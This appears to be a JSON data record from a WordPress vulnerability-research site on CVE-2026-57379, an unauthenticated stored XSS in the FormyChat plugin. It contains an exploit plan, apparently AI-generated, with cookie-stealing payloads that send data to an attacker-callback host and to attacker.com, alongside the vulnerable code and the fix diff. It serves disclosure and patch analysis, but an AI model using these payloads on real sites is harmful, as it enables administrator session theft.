[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$faZQWtpCeTaub3wZ8xw-32TG5klNwRcaQJi1W616axno":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":25,"research_verified":26,"research_rounds_completed":27,"research_plan":28,"research_summary":29,"research_vulnerable_code":30,"research_fix_diff":31,"research_exploit_outline":32,"research_model_used":33,"research_started_at":34,"research_completed_at":35,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":26,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":26,"source_links":36},"CVE-2026-57379","contact-form-to-chat-apps-click-to-chat-to-order-formychat-unauthenticated-stored-cross-site-scripting","Contact Form to Chat Apps | Click to Chat to Order – FormyChat \u003C= 2.15.3 - Unauthenticated Stored Cross-Site Scripting","The Contact Form to Chat Apps | Click to Chat to Order – FormyChat plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.15.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","social-contact-form",null,"\u003C=2.15.3","2.15.4","high",7.2,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-07-07 00:00:00","2026-07-14 19:34:16",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F61a93e58-09e2-4a84-b6ad-853f5c8b5a79?source=api-prod",8,[22,23,24],"includes\u002Fpublic\u002Fclass-rest.php","plugin.php","readme.txt","researched",false,3,"# Exploitation Research Plan - CVE-2026-57379\n\n## 1. Vulnerability Summary\nThe **FormyChat** plugin (\u003C= 2.15.3) is vulnerable to **Unauthenticated Stored Cross-Site Scripting (XSS)**. The plugin registers a public REST API endpoint for form submissions that accepts arbitrary user input in the `field` parameter. This data is stored in the database without sufficient sanitization and is later rendered in the WordPress administrative dashboard (Leads management) without proper output escaping. \n\nAn unauthenticated attacker can inject malicious JavaScript into the form fields, which will execute in the context of an administrator's browser when they view the submitted leads.\n\n## 2. Attack Vector Analysis\n*   **Endpoint:** `POST \u002Fwp-json\u002Fformychat\u002Fv1\u002Fsubmit-form`\n*   **Vulnerable Parameter:** `field` (specifically the values within the `field` associative array).\n*   **Authentication:** None required. The REST route is registered with `'permission_callback' => '__return_true'`.\n*   **Preconditions:** \n    *   The plugin must be active.\n    *   At least one Widget must exist (the plugin typically creates a default widget upon installation).\n    *   Spam protection (reCAPTCHA\u002FTurnstile) must be disabled (default state).\n\n## 3. Code Flow\n1.  **Entry Point:** An unauthenticated `POST` request is sent to `wp-json\u002Fformychat\u002Fv1\u002Fsubmit-form`.\n2.  **Route Handling:** `FormyChat\\Publics\\REST::register_routes` (in `includes\u002Fpublic\u002Fclass-rest.php`) routes the request to `handle_form_submission()`.\n3.  **Data Extraction:** In `handle_form_submission($request)`, the plugin extracts the `field` parameter directly from the request:\n    ```php\n    $form_data = [\n        'field' => $request->has_param('field') ? $request->get_param('field') : [],\n        \u002F\u002F ...\n    ];\n    ```\n    `$request->get_param('field')` returns the raw array provided in the JSON or POST body.\n4.  **Spam Bypass:** `verify_formychat_spam_protection($request)` is called. If `formychat_turnstile_enabled` and `formychat_recaptcha_enabled` options are false (default), it returns `true`, allowing the request to proceed.\n5.  **Sink (Storage):** The unsanitized `$form_data` is passed to `FormyChat\\Models\\Lead::create($form_data)`. This method stores the raw field data in the database.\n6.  **Sink (Output):** When an administrator navigates to the \"Leads\" section of the FormyChat menu in the WordPress dashboard, the plugin retrieves these records and renders the `field` values. Based on the logic seen in `formychat_lead_created()` (lines 177-184), the values are likely concatenated into HTML strings using `wp_sprintf` without `esc_html()` or `wp_kses()`.\n\n## 4. Nonce Acquisition Strategy\nThis specific exploit targets a **WordPress REST API** endpoint with `permission_callback` set to `__return_true`. \n\n*   **Requirement:** In WordPress, REST API endpoints with `__return_true` generally **do not require a nonce** for unauthenticated `POST` requests.\n*   **Bypass Analysis:** The `handle_form_submission` function does not call `check_ajax_referer` or `wp_verify_nonce`.\n*   **Strategy:** No nonce is required. The request can be sent directly to the REST API.\n\n## 5. Exploitation Strategy\nThe goal is to inject a Stored XSS payload that triggers when an admin views the leads.\n\n### Step 1: Discover Widget ID\nThe submission requires a `widget_id`. Usually, the first widget is `1`.\n*   **Verification:** Use `browser_navigate` to the homepage and check for `formychat-settings` or similar localized JS objects, or simply attempt the exploit with `widget_id=1`.\n\n### Step 2: Submit Malicious Lead\nSend a POST request to the REST API containing the XSS payload.\n\n*   **Tool:** `http_request`\n*   **Method:** `POST`\n*   **URL:** `https:\u002F\u002F\u003Ctarget>\u002Fwp-json\u002Fformychat\u002Fv1\u002Fsubmit-form`\n*   **Headers:** `Content-Type: application\u002Fjson`\n*   **Body:**\n    ```json\n    {\n      \"field\": {\n        \"Name\": \"Victim\",\n        \"Message\": \"\u003Cimg src=x onerror='fetch(\\\"\u002Fwp-json\u002Fwp\u002Fv2\u002Fusers\u002Fme\\\").then(r=>r.json()).then(d=>fetch(\\\"https:\u002F\u002F\u003Cattacker-callback>\u002F?user=\\\"+d.slug+\\\"&cookie=\\\"+document.cookie))'>\"\n      },\n      \"widget_id\": 1,\n      \"form\": \"formychat\"\n    }\n    ```\n\n### Step 3: Trigger Execution\nThe payload will execute when the admin navigates to:\n`\u002Fwp-admin\u002Fadmin.php?page=formychat-leads` (inferred slug based on plugin name).\n\n## 6. Test Data Setup\n1.  Install and activate the **FormyChat** plugin version 2.15.3.\n2.  Ensure a widget is created:\n    *   `wp eval \"FormyChat\\Models\\Widget::create(['title' => 'Test Widget']);\"` (If testing via CLI).\n3.  Ensure reCAPTCHA\u002FTurnstile is not configured (default).\n\n## 7. Expected Results\n*   The REST API should respond with `{\"success\": true, \"data\": {\"lead_id\": \u003CID>}}`.\n*   The database table for leads (likely `wp_formychat_leads` or stored in `wp_options`\u002F`wp_posts` depending on the Model implementation) will contain the raw `\u003Cimg src=x onerror=...>` string.\n*   When an admin views the Leads page, the browser will attempt to load the image with source `x`, fail, and execute the `onerror` JavaScript.\n\n## 8. Verification Steps\nAfter performing the `http_request`, verify the lead exists in the database:\n```bash\n# Check if a new lead was created with the payload\nwp db query \"SELECT * FROM $(wp db prefix)formychat_leads ORDER BY id DESC LIMIT 1;\"\n```\n*(Note: If the table name differs, use `wp db tables | grep formychat` to find the correct table).*\n\n## 9. Alternative Approaches\n*   **Direct POST:** If `application\u002Fjson` is blocked by a WAF, use `application\u002Fx-www-form-urlencoded`:\n    `field[Name]=Test&field[Message]=\u003Cscript>alert(1)\u003C\u002Fscript>&widget_id=1&form=formychat`\n*   **Payload Variation:** If `fetch` is blocked by Content Security Policy (CSP), use a simple redirect or an `iframe` injection:\n    `\u003Cscript>document.location='https:\u002F\u002Fattacker.com\u002Fsteal?c='+document.cookie\u003C\u002Fscript>`\n*   **Metadata Injection:** The `meta` parameter in `handle_form_submission` is also handled without sanitization and may provide an alternative injection vector if the `field` values are escaped but `meta` values are not.","The FormyChat plugin for WordPress is vulnerable to unauthenticated Stored Cross-Site Scripting due to the lack of input sanitization in its public REST API endpoint for form submissions. Attackers can inject malicious scripts into form fields that are stored in the database and subsequently executed in the context of an administrator's browser when they view the 'Leads' management page.","\u002F\u002F includes\u002Fpublic\u002Fclass-rest.php:79\npublic function handle_form_submission( $request ) {\n\t$form_data = [\n\t\t'field' => $request->has_param('field') ? $request->get_param('field') : [],\n\t\t'meta' => $request->has_param('meta') ? $request->get_param('meta') : [],\n\t\t'widget_id' => $request->has_param('widget_id') ? $request->get_param('widget_id') : 0,\n\t\t'form_id' => $request->has_param('form_id') ? $request->get_param('form_id') : 0,\n\t\t'form' => $request->has_param('form') ? $request->get_param('form') : 'formychat',\n\t];\n\n---\n\n\u002F\u002F includes\u002Fpublic\u002Fclass-rest.php:103\n\t$lead_id = Lead::create($form_data);","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsocial-contact-form\u002F2.15.3\u002Fincludes\u002Fpublic\u002Fclass-rest.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsocial-contact-form\u002F2.15.4\u002Fincludes\u002Fpublic\u002Fclass-rest.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsocial-contact-form\u002F2.15.3\u002Fincludes\u002Fpublic\u002Fclass-rest.php\t2026-04-20 08:17:56.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsocial-contact-form\u002F2.15.4\u002Fincludes\u002Fpublic\u002Fclass-rest.php\t2026-05-24 10:52:32.000000000 +0000\n@@ -77,12 +77,15 @@\n \t\t * @return void\n \t\t *\u002F\n \t\tpublic function handle_form_submission( $request ) {\n+\t\t\t$raw_field = $request->has_param('field') ? $request->get_param('field') : [];\n+\t\t\t$raw_meta  = $request->has_param('meta') ? $request->get_param('meta') : [];\n+\n \t\t\t$form_data = [\n-\t\t\t\t'field' => $request->has_param('field') ? $request->get_param('field') : [],\n-\t\t\t\t'meta' => $request->has_param('meta') ? $request->get_param('meta') : [],\n-\t\t\t\t'widget_id' => $request->has_param('widget_id') ? $request->get_param('widget_id') : 0,\n-\t\t\t\t'form_id' => $request->has_param('form_id') ? $request->get_param('form_id') : 0,\n-\t\t\t\t'form' => $request->has_param('form') ? $request->get_param('form') : 'formychat',\n+\t\t\t\t'field'     => $this->sanitize_lead_payload( $raw_field ),\n+\t\t\t\t'meta'      => $this->sanitize_lead_payload( $raw_meta ),\n+\t\t\t\t'widget_id' => $request->has_param('widget_id') ? absint( $request->get_param('widget_id') ) : 0,\n+\t\t\t\t'form_id'   => $request->has_param('form_id') ? absint( $request->get_param('form_id') ) : 0,\n+\t\t\t\t'form'      => $request->has_param('form') ? sanitize_key( $request->get_param('form') ) : 'formychat',\n \t\t\t];\n \n \t\t\t\u002F\u002F Verify spam protection (reCAPTCHA \u002F Turnstile) for built-in FormyChat form submissions.\n@@ -101,6 +104,14 @@\n \n \t\t\t$form_data = apply_filters('formychat_lead_data', $form_data, $request);\n \n+\t\t\t\u002F\u002F Re-sanitize after the filter, in case third-party code re-injected unsafe data.\n+\t\t\tif ( isset( $form_data['field'] ) ) {\n+\t\t\t\t$form_data['field'] = $this->sanitize_lead_payload( $form_data['field'] );\n+\t\t\t}\n+\t\t\tif ( isset( $form_data['meta'] ) ) {\n+\t\t\t\t$form_data['meta'] = $this->sanitize_lead_payload( $form_data['meta'] );\n+\t\t\t}\n+\n \t\t\t$lead_id = Lead::create($form_data);\n \n \t\t\tdo_action('formychat_lead_created', $form_data, $lead_id, $request);\n@@ -114,6 +125,40 @@\n \t\t}\n \n \t\t\u002F**\n+\t\t * Recursively sanitize an untrusted lead payload (field \u002F meta).\n+\t\t *\n+\t\t * Strips all HTML and JS. The lead admin page renders values via Vue\n+\t\t * `v-html`, so any HTML stored here would execute in the admin origin.\n+\t\t *\n+\t\t * @param  mixed $value\n+\t\t * @return mixed\n+\t\t *\u002F\n+\t\tprivate function sanitize_lead_payload( $value ) {\n+\t\t\tif ( is_array( $value ) ) {\n+\t\t\t\t$clean = [];\n+\t\t\t\tforeach ( $value as $k => $v ) {\n+\t\t\t\t\t$safe_key           = is_string( $k ) ? sanitize_text_field( $k ) : $k;\n+\t\t\t\t\t$clean[ $safe_key ] = $this->sanitize_lead_payload( $v );\n+\t\t\t\t}\n+\t\t\t\treturn $clean;\n+\t\t\t}\n+\n+\t\t\tif ( is_object( $value ) ) {\n+\t\t\t\t\u002F\u002F Reject objects entirely — lead payloads are scalar\u002Farray only.\n+\t\t\t\treturn '';\n+\t\t\t}\n+\n+\t\t\tif ( is_bool( $value ) || is_int( $value ) || is_float( $value ) ) {\n+\t\t\t\treturn $value;\n+\t\t\t}\n+\n+\t\t\t\u002F\u002F Strings: strip all tags and control chars. Preserve newlines for the\n+\t\t\t\u002F\u002F message field so the admin UI can still display multi-line content.\n+\t\t\t$value = (string) $value;\n+\t\t\treturn sanitize_textarea_field( $value );\n+\t\t}\n+\n+\t\t\u002F**\n \t\t * Verify spam protection token (Turnstile or reCAPTCHA) for FormyChat form submissions.\n \t\t * Returns true on success (or when no protection is configured), an error message string otherwise.\n \t\t *","1. Identify a target WordPress site running FormyChat \u003C= 2.15.3.\n2. Construct a POST request to the unauthenticated REST API endpoint: `\u002Fwp-json\u002Fformychat\u002Fv1\u002Fsubmit-form`.\n3. Provide a JSON body containing a 'field' array where one of the values is a malicious JavaScript payload (e.g., `\u003Cscript>alert(1)\u003C\u002Fscript>` or an `\u003Cimg>` tag with an `onerror` handler).\n4. Include standard required fields such as `widget_id: 1` and `form: \"formychat\"`.\n5. Send the request; the server will respond with success and store the unsanitized payload in the database.\n6. The XSS triggers automatically when a site administrator logs in and views the 'Leads' section of the FormyChat plugin dashboard.","gemini-3-flash-preview","2026-07-25 08:56:55","2026-07-25 08:57:45",{"type":37,"vulnerable_version":38,"fixed_version":11,"vulnerable_browse":39,"vulnerable_zip":40,"fixed_browse":41,"fixed_zip":42,"all_tags":43},"plugin","2.15.3","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsocial-contact-form\u002Ftags\u002F2.15.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsocial-contact-form.2.15.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsocial-contact-form\u002Ftags\u002F2.15.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsocial-contact-form.2.15.4.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsocial-contact-form\u002Ftags"]